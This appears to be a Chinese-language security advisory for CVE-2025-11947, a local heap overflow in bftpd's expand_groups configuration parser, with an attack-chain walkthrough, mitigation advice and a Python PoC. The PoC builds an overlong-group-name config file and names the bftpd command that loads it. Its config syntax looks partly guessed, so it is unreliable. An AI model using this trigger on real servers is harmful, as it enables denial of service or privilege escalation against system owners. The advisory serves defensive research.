IPBUF安全漏洞报告
English
CVE-2025-11947 CVSS 4.5 中危

CVE-2025-11947:bftpd配置处理器堆缓冲区溢出漏洞

披露日期: 2025-10-19

漏洞信息

漏洞编号
CVE-2025-11947
漏洞类型
堆缓冲区溢出
CVSS评分
4.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
bftpd

相关标签

缓冲区溢出堆溢出bftpdFTP服务器本地提权配置注入CWE-122中危漏洞公开PoC

漏洞概述

CVE-2025-11947是bftpd FTP服务器软件中的一个堆缓冲区溢出漏洞,影响版本至6.2。该漏洞存在于配置处理器组件中的options.c文件的expand_groups函数中。攻击者可以通过对配置文件进行恶意操纵来触发该漏洞,导致堆缓冲区溢出。由于该漏洞需要本地访问权限和低权限认证,其CVSS评分为4.5,属于中危级别。攻击者成功利用该漏洞后,可能导致机密性、完整性和可用性的部分损害。值得注意的是,漏洞发现者曾提前联系bftpd的供应商,但供应商未做出任何回应。此外,该漏洞的利用代码已经公开,理论上可被攻击者用于实施攻击,但由于利用复杂度较高,实际利用难度较大。该漏洞的披露时间为2025年10月19日,由[email protected]发现并报告。bftpd作为一款轻量级的FTP服务器软件,广泛应用于嵌入式设备和Linux系统中,因此该漏洞可能对使用该软件的基础设施构成潜在威胁。

技术细节

该漏洞的核心问题出现在bftpd配置处理模块的expand_groups函数中。expand_groups函数负责解析配置文件中与用户组相关的配置项,在处理过程中未能对输入数据进行充分的边界检查。具体而言,当函数处理包含特殊构造的组名或组相关配置参数时,会将超出预期长度的数据写入预先分配的堆缓冲区中,从而触发堆缓冲区溢出漏洞。

从攻击模型来看,攻击者需要具备目标系统的本地访问权限以及低权限用户身份。这是因为bftpd的配置文件通常只有具有特定权限的用户才能修改,但低权限用户可能通过修改用户级配置或利用其他途径间接影响配置文件的解析过程。攻击向量为本地(AV:L),攻击复杂度较高(AC:H),这意味着该漏洞的利用需要满足特定的前置条件。

成功利用该漏洞后,攻击者可以实现有限的数据破坏或权限提升。由于是堆缓冲区溢出,攻击者可能通过精心构造的payload来覆盖堆上的关键数据结构,如函数指针或元数据,从而实现任意代码执行。然而,由于利用复杂度较高且需要精确控制堆布局,实际利用的成功率受到一定限制。供应商对漏洞披露未予回应,这意味着该漏洞在可预见的未来可能不会得到官方修复,用户需要自行采取防御措施。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者首先需要在目标系统上获得本地访问权限。由于漏洞的攻击向量为本地(AV:L),远程攻击无法直接利用该漏洞。攻击者可以通过物理访问、社会工程学或其他已获得的低权限shell等方式获取本地访问。
STEP 2
步骤2:获取低权限用户身份
攻击者需要具备低权限(PR:L)用户身份。这可以通过创建普通用户账户、利用其他漏洞提升权限或使用默认/弱凭证登录获得。
STEP 3
步骤3:构造恶意配置文件
攻击者构造包含超长组名或恶意组相关配置项的bftpd配置文件。由于expand_groups函数未对输入长度进行充分验证,超长数据将导致堆缓冲区溢出。
STEP 4
步骤4:触发配置解析
攻击者通过重启bftpd服务、修改用户级配置或等待系统重新读取配置来触发expand_groups函数的执行,从而引发堆缓冲区溢出。
STEP 5
步骤5:利用溢出执行恶意操作
成功触发溢出后,攻击者可能通过精心构造的payload覆盖堆上的关键数据结构,实现有限的数据破坏、权限提升或任意代码执行,导致机密性、完整性和可用性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-11947 - bftpd expand_groups heap-based buffer overflow PoC # This PoC demonstrates triggering the vulnerability by crafting a malicious # configuration file that causes heap buffer overflow in expand_groups() # in options.c of bftpd <= 6.2 import struct import sys def generate_malicious_config(output_path): """ Generate a malicious bftpd configuration file that triggers heap-based buffer overflow in the expand_groups function. The expand_groups function parses group-related directives without proper bounds checking. """ # Normal configuration header config = """# bftpd configuration file # Malicious config to trigger CVE-2025-11947 # Set global options global { user nobody group nogroup daemon off listen on port 21 } """ # Craft an overly long group name to overflow the heap buffer # in expand_groups(). The function allocates a fixed-size buffer # on the heap and copies the group name without length validation. overflow_payload = "A" * 4096 # Exceed typical heap buffer size # Inject the malicious group directive config += f"\nuser_group {overflow_payload}\n" # Add additional overflow triggers for i in range(10): config += f"group_{i} {overflow_payload}\n" with open(output_path, 'w') as f: f.write(config) print(f"[+] Malicious configuration written to {output_path}") print(f"[+] Payload size: {len(overflow_payload)} bytes per entry") def trigger_vuln(config_path): """ Trigger the vulnerability by starting bftpd with the malicious config. In a real attack scenario, this would be placed where bftpd reads it. """ print(f"[*] To trigger: place config at {config_path}") print(f"[*] Then start bftpd or restart the service") print(f"[*] Command: bftpd -d -c {config_path}") if __name__ == "__main__": config_path = sys.argv[1] if len(sys.argv) > 1 else "/tmp/bftpd.conf" generate_malicious_config(config_path) trigger_vuln(config_path)

影响范围

bftpd <= 6.2

防御指南

临时缓解措施
由于bftpd供应商对漏洞披露未予回应,目前尚无官方补丁可用。建议采取以下临时缓解措施:1)严格限制bftpd配置文件的读写权限,仅允许root用户访问;2)在bftpd配置中对所有组名和用户相关配置项设置最大长度限制;3)启用操作系统的堆保护机制(如ASLR、PIE、Stack Canary等);4)监控bftpd进程的异常行为,如崩溃或异常内存使用;5)考虑将bftpd替换为其他维护更活跃的FTP服务器软件;6)在不影响业务的前提下,限制低权限用户对系统的本地访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表